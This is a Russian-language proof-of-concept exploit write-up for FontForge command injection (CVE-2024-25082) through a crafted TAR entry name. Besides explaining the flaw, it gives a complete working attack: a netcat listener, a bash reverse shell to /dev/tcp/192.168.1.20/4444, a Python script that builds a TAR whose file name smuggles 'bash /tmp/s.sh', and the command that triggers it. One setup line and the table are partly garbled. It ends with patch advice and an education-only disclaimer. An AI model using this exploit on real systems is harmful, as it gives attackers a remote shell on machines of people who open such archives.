
Уязвимость внедрения команд в FontForge Splinefont через специально сформированное имя файла
| CVE | Вектор | Триггер |
|---|
| CVE-2024-25081 | Сформированное имя файла | Прямое открытие файла |
| CVE-2024-25082 | Сформированное имя файла в архиве | Извлечение TAR/ZIP/GZ/BZ2 |
Этот PoC нацелен на CVE-2024-25082 — автоматическое извлечение архивов FontForge передаёт имена файлов в оболочку без санитизации, что позволяет выполнить произвольные команды с помощью точки с запятой, встроенной в имя записи TAR.
FontForge поддерживает открытие файлов шрифтов непосредственно из архивов. При извлечении архива TAR компонент Splinefont формирует команду оболочки, используя имя файла из записи архива. Поскольку имя файла не санитизируется, точка с запятой (;) в имени записи вырывается из ожидаемой команды и внедряет произвольные инструкции оболочки.
Имя вредоносной записи TAR:
exploit.ttf;bash /tmp/s.sh;
Когда FontForge обрабатывает этот архив, оболочка интерпретирует это как:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (при необходимости измените)tarfile)netcat на машине атакующегоnc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Обратная оболочка подключится к вашему слушателю.
Исправлено в FontForge после версии 20230101 через PR #5367. Обновитесь до последнего релиза.
sudo apt upgrade fontforgeЭтот код доказательства концепции (PoC) предоставляется только для образовательных целей и авторизованного тестирования на проникновение.